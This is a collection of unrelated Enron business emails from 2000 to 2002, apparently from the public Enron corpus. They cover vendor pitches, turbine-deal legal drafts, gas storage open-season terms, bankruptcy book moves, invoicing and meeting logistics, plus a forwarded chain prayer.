---------------------- Forwarded by Mary Solmonson/HOU/ECT on 01/04/2001 
05:16 PM ---------------------------
From: Tommy Yanowski/ENRON@enronXgate on 01/04/2001 05:03 PM
To: Thomas D Gros/NA/Enron@Enron, Debbie R Brackett/HOU/ECT@ECT, Hal 
Elrod/Corp/Enron@Enron, Marcus Pullicino/HOU/ECT@ECT, Mary 
Perkins/HOU/ECT@ECT, Mary Solmonson/HOU/ECT@ECT
cc: Philippe A Bibi/HOU/ECT@ECT, Beth Perlman/ENRON@enronXgate, John 
Pavetto/Corp/Enron@Enron 

Below is a message from a company by the name of Cavio who specializes in 
software that streamlines the settlements process.  More information about 
their products can be found at http://www.cavio.com/.  They would like to 
visit Enron and discuss the potential of partnering with us.  Essentially 
they would charge our customers a fee for the process of clearing or settling 
their transactions and share a portion of the revenue with Enron.  The 
benefit to our customers is a reduced cost for letters of credit.  

Bottom line is that they would like to meet with us and see if their is any 
interest in trying to put something together.  Please let me know if you are 
interested in being a part of the meeting and I will coordinate setting it 
up.  Thanks!  -  Tommy
---------------------- Forwarded by Tommy J Yanowski/HOU/ECT on 01/04/2001 
04:36 PM ---------------------------
To: "'tommy.j.yanowski@enron.com'" <tommy.j.yanowski@enron.com>
cc:  
Subject: 

Dear Tommy, 
Further to my phone message to you on Wednesday morning, I have great news. 
It appears the last points have been ironed out and that CheMatch will be 
going forward with the Cavio Solution.  Our CEO and VP of Sales will be 
attending a meeting with CheMatch in Houston in mid to late January.  As 
well, interest has been shown from the Natural Gas Exchange (www.ngx.com) and 
Automated Power Exchange (www.apx.com).  From our discussions, it has become 
apparent that these two sites currently deal with Enron at some level and 
both agree that the Cavio Solution could effect a positive change in the lag 
time currently seen for billing cycles (up to 55 days) as well as providing 
other benefits.  I feel that with Enron and CheMatch setting a new standard 
with Cavio, many of your current clients will be eager to join, and your 
competition will be left behind.
Based on the fact that you had expressed interest in Cavio and Beta testing 
the Cavio Solution for trades currently happening between Cheats and Enron,  
I think that it may be an ideal time to plan a meeting with your team in 
conjunction with our meeting with CheMatch.  
Please advise as soon as possible. 
Thanks. 
Geoff Kershaw 
Business Development Manager
Cavio Corporation 
Phone   (604) 484-4700 Ext. 4713
Fax        (604) 484-4701
Email    gkershaw@cavio.com
Web       www.cavio.com 
----------------------------------------------------------------------------
NOTICE: This email message is for the sole use of the intended recipient(s) 
and may contain confidential and privileged information. Any unauthorized 
review, use, disclosure or distribution is prohibited. If you are not the 
intended recipient, please contact the sender by reply email and destroy all 
copies of the message.
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I look forward to seeing you next Thursday.

Kind regards,

-Larry-

Content-Transfer-Encoding: 7bit
Return-path: <LawrenceLawyer@aol.com>
From: LawrenceLawyer@aol.com
Full-name: LawrenceLawyer
Message-ID: <c9.1bb0d89c.2974c776@aol.com>
Date: Mon, 14 Jan 2002 18:44:54 EST
Subject: Recommendation
To: Vince.Kaminski@enron.com
MIME-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
X-Mailer: AOL 7.0 for Windows US sub 118

Vince,

Happy New Year.  Would you mind if I used you as a recommender for a job I am
currently chasing at Cisco Systems, Inc.?  I have been talking to them about
an Assistant Treasurer job.  The opportunity came through an executive search
firm, Heidrick & Struggles, and they would like to visit with some people in
regard to my background, deal skills, origination skills and integrity.
Thank you very much.  I hope all is well and I look forward to catching up
soon.

-Larry-

Ben-

As a follow up to our conversation earlier today, the DPL site visit to
Wheatland for Tuesday October 17th.

I will forward a list of team members for the site visit tomorrow.
Please give me a call with any questions.

Susan Flanagan
DPL Inc
Office 937-258-5506
Cell 937-609-9871

please print
---------------------- Forwarded by Kay Mann/Corp/Enron on 12/11/2000 10:05 

"Campbell, Carolyn" <CCampbell@KSLAW.com> on 12/11/2000 09:53:03 AM
To: "'gkutzschbach@fulbright.com'" <gkutzschbach@fulbright.com>, 
"'areynaud@coral-energy.com'" <areynaud@coral-energy.com>, 
"'dwhaley@coral-energy.com'" <dwhaley@coral-energy.com>, 
"'TSeigler@coral-energy.com'" <TSeigler@coral-energy.com>
cc: "'Ben.F.Jacoby@enron.com'" <Ben.F.Jacoby@enron.com>, 
"'Kay.Mann@enron.com'" <Kay.Mann@enron.com>, "Keffer, John" 
<JKeffer@KSLAW.com> 

Subject: ENA / Coral Turbine Transaction

 <<2R6LRED.DOC>>  <<2RM3RED.DOC>>  <<2RLSRED.DOC>>  <<2R6KRED.DOC>>

We have enclosed the following documents for your review:

 1. Revised draft dated 12-11-2000 of the Letter Agreement for
CA Energy Development I, LLC, marked to reflect revisions from the draft
circulated by King & Spalding on 12-09-2000;

 2. Revised draft dated 12-11-2000 of the Letter Agreement for
CA Energy Development II, LLC, marked to reflect revisions from the draft

 3. Revised draft dated 12-11-2000 of the Letter Agreement for
CA Energy Development II, LLC pertaining to the transformer, marked to
reflect revisions from the draft circulated by King & Spalding on
12-09-2000; and

 4. Revised draft dated 12-11-2000 of the Liability Company
Agreement of CA Energy Development I, LLC, marked to reflect revisions from
the draft circulated by King & Spalding on 12-09-2000.

We still need confirmation of the name of the last director for the LLC and
the date for exercising the call/put option in Section 6.2 of the LLC
Agreement.  Please advise at your earliest convenience.  Thank you.

Carolyn M. Campbell
King &  Spalding
713-276-7307 (phone)
713-751-3280 (fax)
ccampbell@kslaw.com <mailto:ccampbell@kslaw.com>

Enclosures: 128541vR13/12
  129099v4/3
  129088v5/4
  128540v9/8

                    Confidentiality Notice
This message is being sent by or on behalf of a lawyer.  It is intended 
exclusively for the individual or entity to which it is addressed.  This 
communication may contain information that is proprietary, privileged or 
confidential or otherwise legally exempt from disclosure.  If you are not the 
named addressee, you are not authorized to read, print, retain, copy or 
disseminate this message or any part of it.  If you have received this 
message in error, please notify the sender immediately by e-mail and delete 
all copies of the message.

 - 2R6LRED.DOC
 - 2RM3RED.DOC
 - 2RLSRED.DOC
 - 2R6KRED.DOC

Greetings,

The attached file has the information from the performance test for the 2000 
peakers.  I am still trying to track down some of the equipment information.

Rick

I have added an executive summary, removed a repetitive argument on historical need for balanced schedules and retitled the section headings.  

12/14/2000 12:21 PM ---------------------------

cathy@pira.com (Cathy) on 12/14/2000 10:06:11 AM
To: "PIRA Western Grid Retainer Client" <vwatkins@pira.com>
cc: =20
Subject: PIRA Electricity Report, NOx Emissions Market in Southern Californ=
ia

PIRA Western Grid Clients:

Energy Group=01,s Emissions Market Intelligence Services (EMIS) has just
released its report entitled, The Southern California RECLAIM Market:
Outpacing the Possibilities. Because of its direct linkage to developments
in the California electricity market, we are making the report available to
you as well. Please direct any questions or comments about the report to Ro=
n
Gold at (212) 686-6808, ext. 326 or rgold@pira.com <mailto:rgold@pira.com> =
.

Recently, EMIS clients received a report dealing with ozone transport and
NOx price issues in the Eastern part of the country entitled, =01&Upwind=01=
8 and
=01&Downwind=018: Ozone Transport and NOx Price Issues. Non-EMIS clients
interested in the report can purchase it for $2,000. To purchase this
report, please contact  Sande Ubiol at (212) 686-6808, ext. 302 or
sande@pira.com <mailto:sande@pira.com> .

For information about PIRA's Emissions Market Intelligence Services (EMIS)
covering NOx, SOx and global warming, please contact Victoria Watkins at
(212) 686-6808, ext. 315 or vwatkins@pira.com  .

Unauthorized distribution of this report is prohibited.  Copyright
compliance is enforced.

PIRA Electricity Group
 - emissionsinsocal.pdf

The WEVA Presentation will be held on 12/13/00 from 2:00p - 3:00p in 
Conference Room - 46C1.  Please refer to attachment below for further details.

Thanks,

Felicia
for George Hopley

---------------------- Forwarded by Felicia Doan/HOU/ECT on 12/11/2000 01:35 

George Hopley
12/11/2000 12:06 PM
To: Felicia Doan/HOU/ECT@ECT
cc:  
Subject: ENRON: WEFA Presentation December 13

Felicia - 
Please include this in the email about Wednesday's meeting

---------------------- Forwarded by George Hopley/HOU/ECT on 12/11/2000 12:03 

"Peter McNabb" <peter.mcnabb@wefa.com> on 12/11/2000 12:00:50 PM
To: <ghopley@enron.com>
cc: "Kemm Farney" <kemm.farney@wefa.com>, "Ronald Denhardt" 
<ron.denhardt@wefa.com> 

Dear George
I trust all is well. In advance of Kemm's presentation to your team on
Wednesday, I am attaching our WEFA Energy Services brochure to better
familiarize your team with the WEFA services available to you. I realize
Kemm will be focusing on Power, the brochure simply provides additional WEFA
background as a courtesy.

Regards, Peter

Peter A. McNabb
Vice President Energy Marketing, North America
WEFA Inc.
2 Bloor Street West
Suite 700
Toronto Canada
M4W 3R1
416-513-0061 ex 227

 - WEFA2000_Energy BrochureOct10.doc

These are interbook deals and I need to confirm the following:

1. Which Bankruptcy book you want to move the deals to? BANKRUPTCY (166660) or BANKRUPTCY-CAD (166762)?
2. Change the counterparty of the deals associated with FT-CAND-TERMIN (166764) or FT-CAND-GONE-PR (166767) from NG-PRICE(11360), ENA-FT-WT-SOCAL(108201), ENA-WT-CAL(105544) to Bankruptcy (166660 or 166762)?
3. Should we should NGGJ as the commodity instead of NG?
4. Financial deals only
5. Cutoff date 1-jan-2002

From: 	Keiser, Kam  
Sent:	Wednesday, January 30, 2002 3:03 PM
To:	Cheung, Cecilia
Subject:	FW: new script for moving books

Those two counterparties could be currently  in NG-Price, ENA-WT-Socal, or ENA-WT-Cal, not just NG-Price.

Thanks

From: 	Love, Phillip M.  
Sent:	Wednesday, January 30, 2002 3:01 PM
Cc:	Giron, Darron C.; Gossett, Jeffrey C.; Keiser, Kam
Subject:	new script for moving books

Please move the following book to book trades with Canada from NG-Price to Bankruptcy:
FT-Cand-Termin
Ft-Cand-Gone-PR

Pleae let me know when this is done, we are waiting to calc today on this.  Thanks.
PL

FYI

From: 	Clemons, Amy  
Sent:	Monday, December 10, 2001 12:31 PM
To:	Scholtes, Diana; Rosman, Stewart
Cc:	Purcell, Mike
Subject:	City of Shasta Lake

Diana & Stewart

I am hoping one of you can help me.  I am trying to send aninvoice out to City of Shasta Lake, but there is a deal we don't show in view actuals,or CARP, etc. so it's not part of the numbers I have to invoice then on - but they say they owe it to us.  It is the transmission capacity deal #839722.1 for City of Shasta Lake.  They see they owe us for this deal in the amount of $36,600.  Stewart, I had faxed you the confirm on #659898.1. It was a Laird Dyer deal and you were going to see if you could find out how we would settle it.  I am not sure if the two deals are related, but maybe they are?  Could the two of you look into these and let me know.  I need to invoice them with deal #839722.1, and I also need to know if we need to do anything for deal #659898.1.  Let me know.

Thanks - Amy

don't know about the relationship with dave,  you'll have to work on that one.

i will talk to stan, but i can't believe he has any interest in developing 
power plants anywhere.

Portland General did just get a dash approved for building about 45 mw in 
oregon.  Stan Horton called me about it, and he was going to have someone in 
Portland (i'll remember the name in a minute)  call tim belden about our 
fundamental analysis of the region.
Stan also mentioned the there is an unregulated side of PGE that is enterring 
into these transactions.  He wondered if that part of PGE should belong in 
EWS.  Talk to tim and we'll decide how to approach that next week.

From: John J Lavorato/ENRON@enronXgate on 06/05/2001 10:14 AM
To: Greg Whalley/HOU/ECT@ECT
cc:  
Subject: FW: Enron Everywhere 

Fun Fun Fun

From:  Calger, Christopher F.  
Sent: Wednesday, May 30, 2001 11:20 AM
To: Lavorato, John
Subject: Enron Everywhere 

John,

I hate to whine, but...

EES:
Duran and I talked with Delainey yesterday.  It seems as though we are 
setting up one centralized trading/risk function but we will have overlapping 
origination functions.  I am sure I can work with whatever arrangement you 
make with Dave, but it seems as though we will be tripping over each other in 
the market.  Industrial coverage seems easy, but they want to call on IOU's 
and Munis in order to buy customers.  These are fundamentally large, 
structured short positions that are very similar to what we have been and are 
pitching.  

Transport/Operations:  
Eric Gadd came back from London and reports to Stan Horton.  He heads up an 
Asset Development group that is focusing on, among other things, power plant 
development in the southwest.  This sounds crazy - do you want to call Stan 
or should I?

Portland General:
They are developing generation in Oregon that is competing with one of our 
projects.  No one in RAC has heard of this yet.  Not a big deal, I will call 
Peggy Fowler, but thought you should be aware.

Regards,

Chris

Please roll the Beaumont Methanol swing and buyback ticket over to be 
effective for July too.  Sorry about that.  Lee

	From:  Robert E Lloyd                           07/11/2000 02:40 PM
	
To: Lee L Papayoti/HOU/ECT@ECT
cc: Pat Clynes/Corp/Enron@ENRON, Daren J Farmer/HOU/ECT@ECT, Rita 
Wynne/HOU/ECT@ECT, Howard B Camp/HOU/ECT@ECT, Robert Cotten/HOU/ECT@ECT, Gary 
A Hanks/HOU/ECT@ECT 
Subject: Brandywine Meter #: 1428

 The swing ticket for Beaumont Methanol "meter #1428" {#249208} expired June 
30th.
 Bob Dorcheus indicated that  HPL should take the swing during July.
 
 Should  I expect another swing ticket to be negotiated for July ?
 
 Presently, the swing activity is hitting the "baseload" ticket {#314854}  
which is 15.0/day.

> From: Ledene, Ben
> Sent: Tuesday, April 17, 2001 11:42 AM
> To: 'sgross@newportgen.com'
> Subject: FW: Wild Goose Open Season Package
>
> Expansion Firm Base Load Storage ("BLS") Service Open Season
>
> Wild Goose Storage Inc. is planning to expand its facility located in
> Butte County in northern California and connected to PG&E for service
> commencing as early as April 1, 2003. This expansion could increase the
> facility capacities as follows:
>
>          Existing Capacity Capacity Following Expansion
> Working Gas Volume      14 Bcf     38
> Bcf
> Maximum Injection Rate     80 MMcfd  450
> MMcfd
> Maximum Withdrawal Rate  200 MMcfd  650 MMcfd
>
> This open season provides for an in-service date commencing April 1, 2004
> and an opportunity to participate in an "early service option" which could
> have service available by April 1, 2003. The in-service date is subject to
> CPUC approval by September 1, 2002 and the successful completion of new
> facility construction.
>
> Customer offers are required by 2:00 pm MST, Tuesday May 22, 2001
>
> Customer offers must be reasonably open for acceptance by Wild Goose
> Storage Inc. until 2:00 pm MST, Wednesday June 20, 2001 subject only to
> significant changes in market conditions and final approval of customer's
> management. Preference for offer acceptance will be toward longer-term
> contracts (greater than 5 years) and offers, which exceed 100% of our rack
> rate. The offer sheets are provided in Microsoft Excel and are set up to
> calculate the percentage of rack rate for your convenience. It is the
> intent of Wild Goose Storage Inc. to negotiate and conclude contracts with
> the participants providing acceptable offers in this open season as close
> as possible to June 20, 2001. Wild Goose will announce to all contracted
> participants whether it will proceed with the expansion in early August
> 2001. Wild Goose Storage Inc. reserves the right to not necessarily accept
> the highest priced offer nor to award all or any of the storage capacity
> available.
>
> A reasonable summary of the main terms and features of BLS service is
> attached for your convenience (Attached File - BLS Summary), but should
> not be used as the sole terms by which service is to be provided. All
> service is subject to the Tariff Schedules for Natural Gas Storage Service
> of Wild Goose Storage Inc., as approved by the Public Utilities Commission
> of the State of California.
>
> For more information about Wild Goose Storage Inc. or to download a copy
> of the entire tariff please refer to our web site at
> www.wildgoose-storage.com.
>
> Customer offers must include the following:
>
> A) Completed Offer Forms (Attached File - Offer Sheets) for each period of
> service including:
>
> * the amount of Inventory Capacity Required for each April to March
> period during the term
> * the amount of Maximum Daily Injection Quantity Required by month
> during the term
> * the amount of Maximum Daily Withdrawal Quantity Required by month
> * the Total Storage Demand Charge for each April to March period
> * the Injection Commodity Rate for each April to March period during
> the term
> * the Withdrawal Commodity Rate for each April to March period during
> the term
> * a signature from an authorized employee of the company verifying the
> offer
>
> In the 'Offer Sheets' file attachment you will find the following tabs at
> the bottom:
>
> * an offer sheet in Excel format
> * a manual offer sheet which can be printed out and filled in by hand
> * an example offer
>
> B) An executed Storage Services Agreement (Attached File - Storage
> Services Agreement) unless your company already has one on file with Wild
> Goose Storage Inc.
>
> Early Service Option
>
> Once Wild Goose Storage Inc. gives notice in early August 2001 to proceed
> with the expansion, every effort will be made to complete construction as
> early as possible. Notice will be given by November 1, 2002 if service
> will be available earlier than April 1, 2004. All contracted participants
> will have the right, but not the obligation, to amend their contracts to
> the earlier term start date and add this additional service to their
> existing contracts at the same fees negotiated for the first year of
> service commencing April 1, 2004.
>
> Rack Rates
> Our rates are 'market based' meaning they are fully negotiable, but our
> 'rack rates' are as follows:
> Monthly Storage Demand Charges
> * Inventory($/Dth) $0.03
> * Injection ($/Dth/day) $3.00
> * Withdrawal ($/Dth/day) $2.00
>
> Variable Charges
> * Injection Commodity Rate ($/Dth) $0.02
> * Withdrawal Commodity Rate ($/Dth) $0.02
>
> Fuel Charges
>
> In addition to the Demand and Variable charges described above, fuel costs
> are also charged based on actual consumption by customer and the value of
> the gas on a daily basis. Fuel consumption is expected to be between 1.25
> to 1.75%. For details, please refer to the Wild Goose tariff.
>
> If you have any questions about this matter or need hard copies, please
> contact either Ben Ledene with Wild Goose in Calgary at (403) 266-8192 or
> Chris Price and Mark Baldwin with Interstate Gas Services in California at
> (925) 243-0350.
>  <<BLS Summary.doc>>  <<Expansion Offer Sheet.xls>>  <<Storage Services
> Agreement.doc>>  <<Wild Goose Expansion Open Season.doc>>

 - BLS Summary.doc
 - Expansion Offer Sheet.xls
 - Storage Services Agreement.doc
 - Wild Goose Expansion Open Season.doc

Matt:

Your approach seems appropriate to me under the circumstances.

Alan

From: 	Lee, Matthias  
Sent:	Tuesday, November 27, 2001 4:05 AM
To:	Evans, Mark (London Legal); Haedicke, Mark E.; Aronowitz, Alan
Cc:	Simons, Paul
Subject:	Letter from Tanya Plitsch

I propose to write a brief note to Mrs Plitsch to say that it was a matter is between the company and Mr Plitsch which has been settled with Mr Plitsch's participation. Mr Plitsch was given every opportunity to consult his lawyers and put his case but he declined. We take a very serious view of this abuse of our company's letterhead and chop, but would now consider matter closed. 

Please let me know if you think it ought to come directly from senior management (which I imagine would be too busy to attend to this). If not, I'll sign and send the letter tomorrow  (Singapore time) and copy to Mark Frevert with blind copy to yourselves. 

Thanks and regards
Matt 

From: 	Evans, Mark (London Legal)  
Sent:	27 November 2001 17:05
To:	Haedicke, Mark E.; Aronowitz, Alan
Cc:	Lee, Matthias
Subject:	FW: Received fax from 713 646 4842

Mark, Alan,

This lady has written to most of the senior executives in the company trying to recover some of the money which we believe her husband misappropriated from Enron in Hong Kong. Matt Lee obtained orders freezing the husband's bank accounts and he immediately repaid us.

We have written at least twice explaining we are not prepared to pay any of this back. I'll ask Matt to do so again one last time.

					Mark

From: 	FACSys Fax Connector (EULON-MSCNX03P)  
Sent:	26 November 2001 16:59
To:	Quick, Robert
Subject:	Received fax from 713 646 4842

Sender: 		713 646 4842
Received: 	26 November 2001 16:51 
Pages: 		8 
Serviced By:  	FACSys server EULON-APFX1P (Device 5) 
Routing Info: 	38578

-------------- Fax Image -------------
 << File: 661892.tif >>  
                            
Bob:  I left you a voice mail last week about a lunch that legal would like 
to present next month for both groups (above).  We need a list of settlements 
persons who should be invited.  The purpose of the meeting is to provide an 
overview of the legal documentation process, including explanations of our 
documents, and encourage dialogue among the groups.  Please send as soon as 
possible.  Also, let me know if you have any particular topics which you 
would like to see addressed.  Thanks.  Sara

From: Rand M. Curtiss [mailto:randmcurtiss@juno.com]
Sent: Monday, September 18, 2000 10:00 AM
To: barbara.rayner@ey.com; jfrizzell@gibbs-bruns.com;
mtimberlake@worldnet.att.net; Scollings@gibbs-bruns.com;
thill@mcfallglidden.com
Subject: Greg Smith of Cynet called me just now

and informed me that the $2.2 million HEOF committed to Cynet was in
escrow as of September 9, and not actually invested in cynet itself as
the escrow was pending the rescission financing.  The actual financing
closed in December of 1999.  It turned out that HEOF THEN (not before)
invested not only the $2.2 million that was in escrow as of the valuation
date but an additional $220,000.

I think the valuation implications are obvious.

I took the liberty of handling this directly with Greg; if you have any
other questions, please feel free to call him.

This just leaves Creole Shack (Roland Curry) who has never gotten back to
me, and we are done with our calls and can proceed to finalize our
reports.

Rand M. Curtiss, FIBA, MCBA, ASA, ASA
Loveman-Curtiss e-Values Your Business
Vox 216-831-1795 Fax 216-292-6887
www.curtiss.com   www.businessval.com
Headquarters of the American Business Appraisers National Network

I think we should consider this request. 
Sent from my BlackBerry Wireless Handheld (www.BlackBerry.net)

One percent

Lisa Best@ENRON
05/02/2000 09:24 AM
To: Kimberly B Dees/HOU/ECT@ECT, Michelle Hargrave/HOU/ECT@ECT, Nedre 
Strambler/HOU/ECT@ECT, Gretchen Jennings/HOU/ECT@ECT, Felicia 
Solis/HOU/ECT@ECT, Bob Carter/HOU/ECT@ECT, Travis McCullough/HOU/ECT@ECT, 
Lisa Mellencamp/HOU/ECT@ECT, Sheila Tweed/HOU/ECT@ECT, Richard B 
Sanders/HOU/ECT@ECT, Michelle Cash/HOU/ECT@ECT, Joseph Deffner/HOU/ECT@ECT, 
Brian Kerrigan/HOU/ECT@ECT, Lewis Worthy/HOU/ECT@ECT, Mary 
Perkins/HOU/ECT@ECT, Bruce Smith/HOU/ECT@ECT, Jason Chumley/HOU/ECT@ECT, Brad 
Alford/ECP/HOU/ECT@ECT, Jeff Hoover/HOU/ECT@ECT, Christopher 
Coffman/Corp/Enron@Enron, William Keeney/HOU/ECT@ECT, Catherine 
Clark/HOU/ECT@ECT, Gautam Gupta/HOU/ECT@ECT, Jennifer Newbrough/HOU/ECT@ECT, 
David Marshall/HOU/ECT@ECT
cc:  
Subject: April East Coast Power Invoice

Could you please tell me the percentage/amount of time  you spent on East 
Coast Power during the month of April.  In addition, if you could scan the 
list below to see if there are any additional employees in your group that 
spent time on ECP, so we can ensure we bill all of our used resources to 
ECP.  Thanks for you cooperation.  

**** Mary Perkins - could you tell me the number of transactions performed by 
treasury for ECP during April.  ****

Human Resources:   Legal:    Cash Management:
Kim Dees    Bob Carter   Joe Deffner
Michelle Hargrave   Travis McCullough  Brian Kerrigan  
Nedre Strambler   Lisa Mellencamp  Lewis Worthy
Gretchen Jennings   Sheila Tweed   Mary Perkins
Felicia Solis    Richard Sanders  
     Michelle Cash
     
Information Technology:  Structuring:   Insurance:
Bruce Smith    Brad Alford   David Marshall
Jason Chumley    Jeff Hoover
Any contractor time?   Chris Coffman
     Bill Keeney
     Catherine Clark
     Gautam Gupta
     Jennifer Newbrough

Kay:

I'd like to hold payment on this invoice until we receive the consent from 
GE. Any update?

From:  Walker, Rebecca  
Sent: Wednesday, June 06, 2001 9:59 AM
To: Jacoby, Ben
Cc: Booth, Chris; Dennis, Tonya; Clark, Catherine; Edmonds, Marcus
Subject: Payment of GE Invoice

Ben

The Turbopark funds request for all payments to be made next month needs to 
be submitted by Tuesday, June 12th.  This request covers the period from June 
15th to July 15th.  Are we planning to pay the $1.5 MM invoice from GE during 
this time period?  If so, I will have accounting request the funds.  If we're 
not sure if the payment will be made or not, it is better not to request the 
funds.  In this case, the payment can be treated as an "actual" for that 
month and backed out of the advance for next month.  Please let me know which 
course of action you would like to take.  

Thanks,
Rebecca   

F.Y.I. Japanese Electricity is the newest item added to the Daily Position 
Report.  A new deal was entered and is reflected on the 1/30/01 Final DPR.  
It is listed in the Enron Europe sub-heading, under the Enron Wholesale 
Services title.

Kenneth Thibodeaux  

Just a reminder about the above mentioned regularly scheduled meetings. 

Please mark your calendars.

Tuesday November 14th.  

Direct Reports Meeting in Michael's office at 8:30 A.M 

Secretary meeting at 9:30 A.M. in 47C2....

Thanks,

Emily

Just a few notes on scheduling:

The new VESTAL_6_WDFIRE unit's counterparty name is SierraPower.  This was 
being scheduled as Vestal but the counterparty name has been changed.

Also, there have been a few errors in scheduling the Wheelabrator units.  
They should be scheduled as follows:

Wheelabrat:  MARTEL_2_AMFOR
WheelSHAST:  WSENGY_1_UNIT 4

Thanks and let me know if you have any questions,

Kourtney

Here are some notes I have written up on discounting, present value, and
infinite series.  I hope these are helpful.  There seemed to be great
concern about this subject, some of which will hopefully be alleviated by
the attached notes.  It is in MS word format.  If this is a problem, let
me know.  You are always welcome to ask for individual help. I will be
sending out notes throughout the week on some of the more difficult
subjects we have covered.

J. Lamar Pierce
Ph.D Student
Haas School of Business
UC Berkeley

 - Notes on Discounting.doc

Hi Professor Ronn:

I have ordered a flip chart and markers and an overhead projector.  

There were 11 pages in your presentation and they look fine.  We have 
already made the copies.

I believe everything is set - if you think of anything else, please let me 
know.

Enjoy your dinner tonight and we will see you tomorrow.

Regards,

Shirley Crenshaw

"Ehud I. Ronn" <eronn@mail.utexas.edu> on 06/21/2000 02:03:03 PM
To: Shirley.Crenshaw@enron.com
cc:  
Subject: Re: Prospective 6/22 Houston Visit

Shirley:

>Please let me know if you need
>anything else.
There is one additional item I would request:  If the room does not contain
a blackboard or whiteboard, I would appreciate a flip chart and markers.

I am faxing you my Presentation Handout for tomorrow.  I would be grateful
if your produced copies in sufficient number for tomorrow's 11:30 a.m.
meeting; Vince advises me the number of attendees will be in the 25 - 30
range.  I will also bring along a "master copy" in case the trasmission
unduly mangles the fax.

Thanks,
Ehud

==============================================
     Ehud I. Ronn
     Department of Finance
     McCombs School of Business
     University of Texas at Austin
     Austin, TX. 78712-1179
     Voice:  (512) 471-5853
      FAX:   (512) 471-5073
      Internet:  eronn@mail.utexas.edu
=================================================

---------------------- Forwarded by Judy Hernandez/HOU/ECT on 10/26/2000 
11:36 AM ---------------------------

Shauncy Mathews
10/26/2000 10:22 AM
To: Janet Warri/NA/Enron@Enron, Leticia Flores/NA/Enron@Enron, Lisa 
Shoemake/HOU/ECT@ECT, Judy Hernandez/HOU/ECT@ECT, Elida 
Aguilar/Corp/Enron@Enron
cc:  
Subject: I Picked you

---------------------- Forwarded by Shauncy Mathews/HOU/ECT on 10/26/2000 
10:21 AM ---------------------------

	Elida Aguilar @ ENRON
	
	10/26/2000 08:48:03 AM
	
To: bheiman@worldnet.att.net, PFlores@corestaff.com, Lori 
Boutte/Corp/Enron@Enron, Albernita Travis/Corp/Enron@Enron, Shauncy 
Mathews/HOU/ECT@ECT
cc:  

----- Forwarded by Elida Aguilar/Corp/Enron on 10/26/2000 08:46 AM -----

	Rose Rivera@ENRON_DEVELOPMENT
	10/26/2000 08:41 AM
		 
		 To: Jan Dunn/Enron Communications@Enron Communications, Debbie 
Lucadou/HOU/EES@EES, Denissa Arredondo/Corp/Enron@ENRON, Elida 
Aguilar/Corp/Enron@ECT, acontreras@appleorthodontix.com, Amanda 
Camacho/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Veronica 
Quintana/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT
		 cc: 
		 Subject: I Picked you

----- Forwarded by Rose Rivera/ENRON_DEVELOPMENT on 10/26/2000 08:40 AM -----

	Irma Fuentes@ENRON COMMUNICATIONS
	10/26/2000 08:35 AM
		 
		 To: Rose Rivera/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Frances 
Garcia/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Cynthia U 
Espinoza/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Patricia 
Moreno-EECC/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, G G Garcia/NA/Enron@ENRON
		 cc: 

I picked YOU!!!   Has nothing to do that you are all my only friends!!!!  
Really. 
----- Forwarded by Irma Fuentes/Enron Communications on 10/26/00 08:32 AM 
-----

	G G Garcia@ENRON
	10/26/00 07:58 AM
		 
		 To: Belinda Trevino/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Irma Fuentes@ENRON 
COMMUNICATIONS, Debbie Lucadou/HOU/EES@EES, Irma Rodriguez/NA/Enron@Enron, 
Bonnie Allen/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT
		 cc: 

>
>   > "I Picked You"
> >  > My instructions were to send this to four people that I wanted God
to
> >  > bless and I picked you.
> >  >
> >  > Please pass this to four people you want to be blessed as well as
the
> >  > person who sent it to you. This prayer is powerful and there is
> >  > nothing attached, please do not  break this pattern; prayer is one
of
> =
> >  the
> >  > best gifts we receive. There is no cost but a lot of rewards, let's
> >  > continue
> >  > to pray for one another.   God bless and  have a nice day!
> >  >
> >  > "Father, I ask you to bless my friends, relatives and e-mail buddies
> >  > reading this right now.  Show them a new revelation of your love and
> >  > power.  Holy Spirit, I ask you to minister to their spirit at this
> very
> >  > moment.  Where there is pain, give them your peace and mercy.  Where
> >  > there is self-doubt, release a renewed confidence through your
grace,
> >  > In Jesus precious Name." Amen >>
>
>

Ben,

Attached is the Terra trip summary which should answer most of your questions 
as per your email.

Regards,
Raul
---------------------- Forwarded by Raul Rizo-Patron/HOU/ECT on 04/05/2000 

Ray Hoppe@ENRON
03/15/2000 09:06 AM
To: Cuthbert Roberts/Corp/Enron@Enron, Raul Rizo-Patron/HOU/ECT@ECT, Bruce 
Garner/Corp/Enron@ENRON, Berney C Aucoin/HOU/ECT@ECT
cc: Rodney Malcolm/HOU/ECT@ECT, Bill Rust/HOU/ECT@ECT 
Subject: Terra Nitrogen Summary

Attached is the summary of a meeting that Raul and I had with Terra in Tulsa 
OK.

Hi Kathy,

Please let me know if you get to the point where the exhibits are all that 
need work.  If you are there now, please send me the current version 
electronically.

Thanks,

Kay

To: kay.mann@enron.com
cc:  

Subject: Re: LM 6000 GSU's

Kay:

FYI - in case Ben wants to know.

Kathy
---------------------- Forwarded by Kathleen Clark/ENRON_DEVELOPMENT on 
06/21/2000 10:28 AM ---------------------------

Harry Okabayashi
06/21/2000 10:03 AM
To: Robert Kraszewski/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT
cc: Kathleen Clark/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT 

Bob,

Please follow up with Frank Chmiel at ABB St. Louis on getting the our 
purchaser data sheets marked up so that we can finish the LM6000 GSU 
transformer P.O.

Tks

---------------------- Forwarded by Harry Okabayashi/ENRON_DEVELOPMENT on 
06/21/2000 10:06 AM ---------------------------
   
	Enron Engineering & Construction Company
	From:  Kathleen Clark                           06/21/2000 07:45 AM
	
To: harry.okabayashi@enron.com
cc:  

06/21/2000 07:49 AM ---------------------------
   
	From:  Kathleen Clark                           06/21/2000 07:44 AM
	
To: harry.okabayaski@enron.com
cc:  

Harry:

What is the status?

Thanks.
Kathy
06/21/2000 07:48 AM ---------------------------
From: Kay Mann@ENRON on 06/20/2000 02:02 PM
To: Kathleen Clark/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT
cc:  

FYI.  When do you think you'll be done?

Thanks,

Kay
---------------------- Forwarded by Kay Mann/Corp/Enron on 06/20/2000 02:00 
   
